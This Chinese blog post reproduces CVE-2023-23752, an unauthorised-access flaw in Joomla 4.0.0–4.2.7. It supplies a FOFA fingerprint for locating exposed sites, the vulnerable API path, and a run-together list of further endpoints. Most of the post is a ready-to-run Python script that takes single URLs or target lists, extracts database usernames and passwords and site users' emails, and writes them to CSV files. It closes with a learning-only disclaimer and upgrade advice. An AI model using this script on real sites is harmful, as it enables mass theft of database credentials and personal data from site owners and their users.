Joomla未授权访问漏洞|CVE-2023-23752复现及修复

1声明

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本文所提供的工具仅用于学习、漏洞验证，禁止用于非法用途！

00 前言

这漏洞公开有阵子了好像，今天才复现了下

Jooml 在海外使用较多，是一套使用 PHP 和 MySQL 开发的开源、跨平台的内容管理系统(CMS)。
Joomla 4.0.0 至 4.2.7 版本中的 ApiRouter.php#parseApiRoute 在处理用户的 Get 请求时未对请求参数有效过滤，导致攻击者可向 Joomla 服务端点发送包含 public=true 参数的请求(如：/api/index.php/v1/config/application?public=true&key=value) 进行未授权访问

01 FOFA指纹

product="Joomla"

02 影响版本

4.0.0 <= Joomla <= 4.2.7

03 漏洞详情

在Joomla受影响的版本中由于对Web服务端点的访问限制不当，远程攻击者可以绕过安全限制获得Web应用程序敏感信息。

未授权路径在：

/api/index.php/v1/config/application?public=true

我们可以直接看到数据库的配置信息。

其他可利用接口

v1/bannersv1/banners/:idv1/bannersv1/banners/:idv1/banners/:idv1/banners/clientsv1/banners/clients/:idv1/banners/clientsv1/banners/clients/:idv1/banners/clients/:idv1/banners/categoriesv1/banners/categories/:idv1/banners/categoriesv1/banners/categories/:idv1/banners/categories/:idv1/banners/:id/contenthistoryv1/banners/:id/contenthistory/keepv1/banners/:id/contenthistoryv1/config/applicationv1/config/applicationv1/config/:component_namev1/config/:component_namev1/contacts/form/:idv1/contactsv1/contacts/:idv1/contactsv1/contacts/:idv1/contacts/:idv1/contacts/categoriesv1/contacts/categories/:idv1/contacts/categoriesv1/contacts/categories/:idv1/contacts/categories/:idv1/fields/contacts/contactv1/fields/contacts/contact/:idv1/fields/contacts/contactv1/fields/contacts/contact/:idv1/fields/contacts/contact/:idv1/fields/contacts/mailv1/fields/contacts/mail/:idv1/fields/contacts/mailv1/fields/contacts/mail/:idv1/fields/contacts/mail/:idv1/fields/contacts/categoriesv1/fields/contacts/categories/:idv1/fields/contacts/categoriesv1/fields/contacts/categories/:idv1/fields/contacts/categories/:idv1/fields/groups/contacts/contactv1/fields/groups/contacts/contact/:idv1/fields/groups/contacts/contactv1/fields/groups/contacts/contact/:idv1/fields/groups/contacts/contact/:idv1/fields/groups/contacts/mailv1/fields/groups/contacts/mail/:idv1/fields/groups/contacts/mailv1/fields/groups/contacts/mail/:idv1/fields/groups/contacts/mail/:idv1/fields/groups/contacts/categoriesv1/fields/groups/contacts/categories/:idv1/fields/groups/contacts/categoriesv1/fields/groups/contacts/categories/:idv1/fields/groups/contacts/categories/:idv1/contacts/:id/contenthistoryv1/contacts/:id/contenthistory/keepv1/contacts/:id/contenthistoryv1/content/articlesv1/content/articles/:idv1/content/articlesv1/content/articles/:idv1/content/articles/:idv1/content/categoriesv1/content/categories/:idv1/content/categoriesv1/content/categories/:idv1/content/categories/:idv1/fields/content/articlesv1/fields/content/articles/:idv1/fields/content/articlesv1/fields/content/articles/:idv1/fields/content/articles/:idv1/fields/content/categoriesv1/fields/content/categories/:idv1/fields/content/categoriesv1/fields/content/categories/:idv1/fields/content/categories/:idv1/fields/groups/content/articlesv1/fields/groups/content/articles/:idv1/fields/groups/content/articlesv1/fields/groups/content/articles/:idv1/fields/groups/content/articles/:idv1/fields/groups/content/categoriesv1/fields/groups/content/categories/:idv1/fields/groups/content/categoriesv1/fields/groups/content/categories/:idv1/fields/groups/content/categories/:idv1/content/articles/:id/contenthistoryv1/content/articles/:id/contenthistory/keepv1/content/articles/:id/contenthistoryv1/extensionsv1/languages/contentv1/languages/content/:idv1/languages/contentv1/languages/content/:idv1/languages/content/:idv1/languages/overrides/searchv1/languages/overrides/search/cache/refreshv1/languages/overrides/site/zh-CNv1/languages/overrides/site/zh-CN/:idv1/languages/overrides/site/zh-CNv1/languages/overrides/site/zh-CN/:idv1/languages/overrides/site/zh-CN/:idv1/languages/overrides/administrator/zh-CNv1/languages/overrides/administrator/zh-CN/:idv1/languages/overrides/administrator/zh-CNv1/languages/overrides/administrator/zh-CN/:idv1/languages/overrides/administrator/zh-CN/:idv1/languages/overrides/site/en-GBv1/languages/overrides/site/en-GB/:idv1/languages/overrides/site/en-GBv1/languages/overrides/site/en-GB/:idv1/languages/overrides/site/en-GB/:idv1/languages/overrides/administrator/en-GBv1/languages/overrides/administrator/en-GB/:idv1/languages/overrides/administrator/en-GBv1/languages/overrides/administrator/en-GB/:idv1/languages/overrides/administrator/en-GB/:idv1/languagesv1/languagesv1/media/adaptersv1/media/adapters/:idv1/media/filesv1/media/files/:path/v1/media/files/:pathv1/media/filesv1/media/files/:pathv1/media/files/:pathv1/menus/sitev1/menus/site/:idv1/menus/sitev1/menus/site/:idv1/menus/site/:idv1/menus/administratorv1/menus/administrator/:idv1/menus/administratorv1/menus/administrator/:idv1/menus/administrator/:idv1/menus/site/itemsv1/menus/site/items/:idv1/menus/site/itemsv1/menus/site/items/:idv1/menus/site/items/:idv1/menus/administrator/itemsv1/menus/administrator/items/:idv1/menus/administrator/itemsv1/menus/administrator/items/:idv1/menus/administrator/items/:idv1/menus/site/items/typesv1/menus/administrator/items/typesv1/messagesv1/messages/:idv1/messagesv1/messages/:idv1/messages/:idv1/modules/types/sitev1/modules/types/administratorv1/modules/sitev1/modules/site/:idv1/modules/sitev1/modules/site/:idv1/modules/site/:idv1/modules/administratorv1/modules/administrator/:idv1/modules/administratorv1/modules/administrator/:idv1/modules/administrator/:idv1/newsfeeds/feedsv1/newsfeeds/feeds/:idv1/newsfeeds/feedsv1/newsfeeds/feeds/:idv1/newsfeeds/feeds/:idv1/newsfeeds/categoriesv1/newsfeeds/categories/:idv1/newsfeeds/categoriesv1/newsfeeds/categories/:idv1/newsfeeds/categories/:idv1/pluginsv1/plugins/:idv1/plugins/:idv1/privacy/requestsv1/privacy/requests/:idv1/privacy/requests/export/:idv1/privacy/requestsv1/privacy/consentsv1/privacy/consents/:idv1/privacy/consents/:idv1/redirectsv1/redirects/:idv1/redirectsv1/redirects/:idv1/redirects/:idv1/tagsv1/tags/:idv1/tagsv1/tags/:idv1/tags/:idv1/templates/styles/sitev1/templates/styles/site/:idv1/templates/styles/sitev1/templates/styles/site/:idv1/templates/styles/site/:idv1/templates/styles/administratorv1/templates/styles/administrator/:idv1/templates/styles/administratorv1/templates/styles/administrator/:idv1/templates/styles/administrator/:idv1/usersv1/users/:idv1/usersv1/users/:idv1/users/:idv1/fields/usersv1/fields/users/:idv1/fields/usersv1/fields/users/:idv1/fields/users/:idv1/fields/groups/usersv1/fields/groups/users/:idv1/fields/groups/usersv1/fields/groups/users/:idv1/fields/groups/users/:idv1/users/groupsv1/users/groups/:idv1/users/groupsv1/users/groups/:idv1/users/groups/:idv1/users/levelsv1/users/levels/:idv1/users/levelsv1/users/levels/:idv1/users/levels/:id

04 验证脚本

脚本如下：

import requests
import argparse
import csv
import json

timeout = 10

output = ""
proxy = {}
notColor = False


def inGreen(s):
    return "\033[0;32m{}\033[0m".format(s)

def inYellow(s):
    return "\033[0;33m{}\033[0m".format(s)

def readFile(filepath):
    file = open(filepath, encoding='utf8')
    return file.readlines()


def writeFile(filepath, data):
    file = open(filepath, 'a', encoding='utf8')
    filecsv = csv.writer(file)
    filecsv.writerow(data)


def reqDatabase(url):
    if url.rindex("/") == len(url) - 1:
        url = "{}api/index.php/v1/config/application?public=true".format(url)
    else:
        url = "{}/api/index.php/v1/config/application?public=true".format(url)

    payload = {}
    headers = {
        'Upgrade-Insecure-Requests': '1',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'Connection': 'close'
    }

    response = requests.request("GET", url, headers=headers, data=payload, verify=False, proxies=proxy, timeout=timeout)

    # print(response.text)
    if "links" in response.text and "\"password\":" in response.text:
        try:
            rejson = json.loads(response.text)
            user = ""
            password = ""
            for dataone in rejson['data']:
                # print(dataone['attributes'])
                if "user" in dataone['attributes']:
                    user = dataone['attributes']['user']
                if "password" in dataone['attributes']:
                    password = dataone['attributes']['password']
            if user != "" or password != "":
                printBody = "[+] [Database]   {} --> {} / {}".format(url, user, password)
                if notColor:
                    print(printBody)
                else:
                    print(inYellow(printBody))
                if output.strip() != "":
                    writeFile(output + "_databaseUserAndPassword.csv", [url, user, password, response.text])
            return url, response.text
        except:
            pass


def reqUserAndEmail(url):
    if url.rindex("/") == len(url) - 1:
        url = "{}api/index.php/v1/users?public=true".format(url)
    else:
        url = "{}/api/index.php/v1/users?public=true".format(url)

    payload = {}
    headers = {
        'Upgrade-Insecure-Requests': '1',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'Connection': 'close'
    }

    response = requests.request("GET", url, headers=headers, data=payload, verify=False, proxies=proxy, timeout=timeout)

    if "username" in response.text and "email" in response.text:
        try:
            rejson = json.loads(response.text)
            for dataone in rejson['data']:
                username = ""
                email = ""
                # print(dataone['attributes'])
                if "username" in dataone['attributes']:
                    username = dataone['attributes']['username']
                if "email" in dataone['attributes']:
                    email = dataone['attributes']['email']
                if username != "" or email != "":
                    printBody = "[+] [User&email] {} --> {} / {}".format(url, username, email)
                    if notColor:
                        print(printBody)
                    else:
                        print(inGreen(printBody))
                    if output.strip() != "":
                        writeFile(output + "_usernameAndEmail.csv", [url, username, email, response.text])
            return url, response.text
        except:
            pass


def reqs(listfileName):
    urls = readFile(listfileName)
    for url in urls:
        url = url.strip()
        if url == "":
            continue
        reqDatabase(url)
        reqUserAndEmail(url)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', type=str, default="", help="测试目标的 URL")
    parser.add_argument('-l', '--listfile', type=str, default="", help="测试目标的地址文件")
    parser.add_argument('-o', '--output', type=str, default="", help="输出文件的位置")
    parser.add_argument('-p', '--proxy', type=str, default="", help="代理，如：http://localhost:1080")
    parser.add_argument('-nc', '--notColor', type=bool, default=False, help="禁止带颜色的输出，如：-nc true")

    opt = parser.parse_args()
    args = vars(opt)
    url = args['url']
    urlFileName = args['listfile']
    global output, proxy, notColor
    output = args['output']
    proxy['http'] = args['proxy']
    proxy['https'] = args['proxy']
    notColor = args['notColor']

    if url != "":
        reqDatabase(url)
    if urlFileName != "":
        reqs(urlFileName)


if __name__ == '__main__':
    main()

缺依赖的话自行导入即可使用，使用命令：

python main.py  -u  http://127.0.0.1:8087/

05 修复建议

目前该漏洞已经修复，受影响用户可及时升级到Joomla! CMS 版本4.2.8。

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